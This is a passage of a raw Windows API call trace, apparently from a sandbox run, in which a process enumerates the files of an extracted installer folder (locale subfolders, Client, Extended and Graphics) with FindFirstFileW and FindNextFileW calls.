ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0131.164] FindNextFileW (in: hFindFile=0x69aec8, lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0x16c3, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0131.164] FindNextFileW (in: hFindFile=0x69aec8, lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0xed0c, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0131.165] FindNextFileW (in: hFindFile=0x69aec8, lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x3758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0131.165] FindNextFileW (in: hFindFile=0x69aec8, lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x3758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0131.165] FindClose (in: hFindFile=0x69aec8 | out: hFindFile=0x69aec8) returned 1 [0131.165] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3d40068 | out: hHeap=0x5a0000) returned 1 [0131.165] FindNextFileW (in: hFindFile=0x5bac78, lpFindFileData=0x348fa7c | out: lpFindFileData=0x348fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="2070", cAlternateFileName="")) returned 1 [0131.165] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\2070\\*", lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x69aec8 [0131.165] FindNextFileW (in: hFindFile=0x69aec8, lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0131.165] FindNextFileW (in: hFindFile=0x69aec8, lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xfaf, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0131.165] FindNextFileW (in: hFindFile=0x69aec8, lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x1397e, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0131.165] FindNextFileW (in: hFindFile=0x69aec8, lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4958, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0131.166] FindNextFileW (in: hFindFile=0x69aec8, lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4958, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0131.166] FindClose (in: hFindFile=0x69aec8 | out: hFindFile=0x69aec8) returned 1 [0131.166] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3d40068 | out: hHeap=0x5a0000) returned 1 [0131.166] FindNextFileW (in: hFindFile=0x5bac78, lpFindFileData=0x348fa7c | out: lpFindFileData=0x348fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="3076", cAlternateFileName="")) returned 1 [0131.166] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\3076\\*", lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x69acc8 [0131.166] FindNextFileW (in: hFindFile=0x69acc8, lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0131.166] FindNextFileW (in: hFindFile=0x69acc8, lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0x18a5, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0131.166] FindNextFileW (in: hFindFile=0x69acc8, lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0xed90, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0131.167] FindNextFileW (in: hFindFile=0x69acc8, lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x3758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0131.167] FindNextFileW (in: hFindFile=0x69acc8, lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x3758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0131.167] FindClose (in: hFindFile=0x69acc8 | out: hFindFile=0x69acc8) returned 1 [0131.167] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3d40068 | out: hHeap=0x5a0000) returned 1 [0131.167] FindNextFileW (in: hFindFile=0x5bac78, lpFindFileData=0x348fa7c | out: lpFindFileData=0x348fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="3082", cAlternateFileName="")) returned 1 [0131.167] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\3082\\*", lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x69af88 [0131.177] FindNextFileW (in: hFindFile=0x69af88, lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0131.177] FindNextFileW (in: hFindFile=0x69af88, lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xbfd, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0131.177] FindNextFileW (in: hFindFile=0x69af88, lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x1387c, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0131.178] FindNextFileW (in: hFindFile=0x69af88, lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4958, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0131.178] FindNextFileW (in: hFindFile=0x69af88, lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4958, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0131.180] FindClose (in: hFindFile=0x69af88 | out: hFindFile=0x69af88) returned 1 [0131.180] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3d40068 | out: hHeap=0x5a0000) returned 1 [0131.180] FindNextFileW (in: hFindFile=0x5bac78, lpFindFileData=0x348fa7c | out: lpFindFileData=0x348fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf3768b28, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf378ed8a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Client", cAlternateFileName="")) returned 1 [0131.180] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\Client\\*", lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf3768b28, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf378ed8a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x69b048 [0131.181] FindNextFileW (in: hFindFile=0x69b048, lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf3768b28, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf378ed8a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0131.462] FindNextFileW (in: hFindFile=0x69b048, lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xce2bc00, ftCreationTime.dwHighDateTime=0x1cac6d5, ftLastAccessTime.dwLowDateTime=0xce2bc00, ftLastAccessTime.dwHighDateTime=0x1cac6d5, ftLastWriteTime.dwLowDateTime=0xce2bc00, ftLastWriteTime.dwHighDateTime=0x1cac6d5, nFileSizeHigh=0x0, nFileSizeLow=0x31444, dwReserved0=0x0, dwReserved1=0x0, cFileName="Parameterinfo.xml", cAlternateFileName="PARAME~1.XML")) returned 1 [0131.462] FindNextFileW (in: hFindFile=0x69b048, lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x79a6a00, ftCreationTime.dwHighDateTime=0x1ca5de3, ftLastAccessTime.dwLowDateTime=0x79a6a00, ftLastAccessTime.dwHighDateTime=0x1ca5de3, ftLastWriteTime.dwLowDateTime=0x79a6a00, ftLastWriteTime.dwHighDateTime=0x1ca5de3, nFileSizeHigh=0x0, nFileSizeLow=0x9882, dwReserved0=0x0, dwReserved1=0x0, cFileName="UiInfo.xml", cAlternateFileName="")) returned 1 [0131.462] FindNextFileW (in: hFindFile=0x69b048, lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x79a6a00, ftCreationTime.dwHighDateTime=0x1ca5de3, ftLastAccessTime.dwLowDateTime=0x79a6a00, ftLastAccessTime.dwHighDateTime=0x1ca5de3, ftLastWriteTime.dwLowDateTime=0x79a6a00, ftLastWriteTime.dwHighDateTime=0x1ca5de3, nFileSizeHigh=0x0, nFileSizeLow=0x9882, dwReserved0=0x0, dwReserved1=0x0, cFileName="UiInfo.xml", cAlternateFileName="")) returned 0 [0131.462] FindClose (in: hFindFile=0x69b048 | out: hFindFile=0x69b048) returned 1 [0131.463] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3d40068 | out: hHeap=0x5a0000) returned 1 [0131.463] FindNextFileW (in: hFindFile=0x5bac78, lpFindFileData=0x348fa7c | out: lpFindFileData=0x348fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbc518d00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbc518d00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbc518d00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x3ef6, dwReserved0=0x0, dwReserved1=0x240000, cFileName="DHtmlHeader.html", cAlternateFileName="DHTMLH~1.HTM")) returned 1 [0131.463] FindNextFileW (in: hFindFile=0x5bac78, lpFindFileData=0x348fa7c | out: lpFindFileData=0x348fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xce333000, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xce333000, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xce333000, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x159d5, dwReserved0=0x0, dwReserved1=0x240000, cFileName="DisplayIcon.ico", cAlternateFileName="DISPLA~1.ICO")) returned 1 [0131.463] FindNextFileW (in: hFindFile=0x5bac78, lpFindFileData=0x348fa7c | out: lpFindFileData=0x348fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf378ed8a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf378ed8a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Extended", cAlternateFileName="")) returned 1 [0131.463] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\Extended\\*", lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf378ed8a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf378ed8a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x69b208 [0131.463] FindNextFileW (in: hFindFile=0x69b208, lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf378ed8a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf378ed8a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0131.463] FindNextFileW (in: hFindFile=0x69b208, lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x2a714f00, ftCreationTime.dwHighDateTime=0x1cac6f0, ftLastAccessTime.dwLowDateTime=0x2a714f00, ftLastAccessTime.dwHighDateTime=0x1cac6f0, ftLastWriteTime.dwLowDateTime=0x2a714f00, ftLastWriteTime.dwHighDateTime=0x1cac6f0, nFileSizeHigh=0x0, nFileSizeLow=0x16c82, dwReserved0=0x0, dwReserved1=0x0, cFileName="Parameterinfo.xml", cAlternateFileName="PARAME~1.XML")) returned 1 [0131.463] FindNextFileW (in: hFindFile=0x69b208, lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x79a6a00, ftCreationTime.dwHighDateTime=0x1ca5de3, ftLastAccessTime.dwLowDateTime=0x79a6a00, ftLastAccessTime.dwHighDateTime=0x1ca5de3, ftLastWriteTime.dwLowDateTime=0x79a6a00, ftLastWriteTime.dwHighDateTime=0x1ca5de3, nFileSizeHigh=0x0, nFileSizeLow=0x988a, dwReserved0=0x0, dwReserved1=0x0, cFileName="UiInfo.xml", cAlternateFileName="")) returned 1 [0131.463] FindNextFileW (in: hFindFile=0x69b208, lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x79a6a00, ftCreationTime.dwHighDateTime=0x1ca5de3, ftLastAccessTime.dwLowDateTime=0x79a6a00, ftLastAccessTime.dwHighDateTime=0x1ca5de3, ftLastWriteTime.dwLowDateTime=0x79a6a00, ftLastWriteTime.dwHighDateTime=0x1ca5de3, nFileSizeHigh=0x0, nFileSizeLow=0x988a, dwReserved0=0x0, dwReserved1=0x0, cFileName="UiInfo.xml", cAlternateFileName="")) returned 0 [0131.463] FindClose (in: hFindFile=0x69b208 | out: hFindFile=0x69b208) returned 1 [0131.463] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3d40068 | out: hHeap=0x5a0000) returned 1 [0131.463] FindNextFileW (in: hFindFile=0x5bac78, lpFindFileData=0x348fa7c | out: lpFindFileData=0x348fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf36f6419, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf371c69a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf371c69a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Graphics", cAlternateFileName="")) returned 1 [0131.464] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\Graphics\\*", lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf36f6419, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf371c69a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf371c69a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x69acc8 [0132.062] FindNextFileW (in: hFindFile=0x69acc8, lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf36f6419, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf371c69a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf371c69a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0132.062] FindNextFileW (in: hFindFile=0x69acc8, lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x47e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Print.ico", cAlternateFileName="")) returned 1 [0132.062] FindNextFileW (in: hFindFile=0x69acc8, lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x37e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate1.ico", cAlternateFileName="")) returned 1 [0132.062] FindNextFileW (in: hFindFile=0x69acc8, lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, 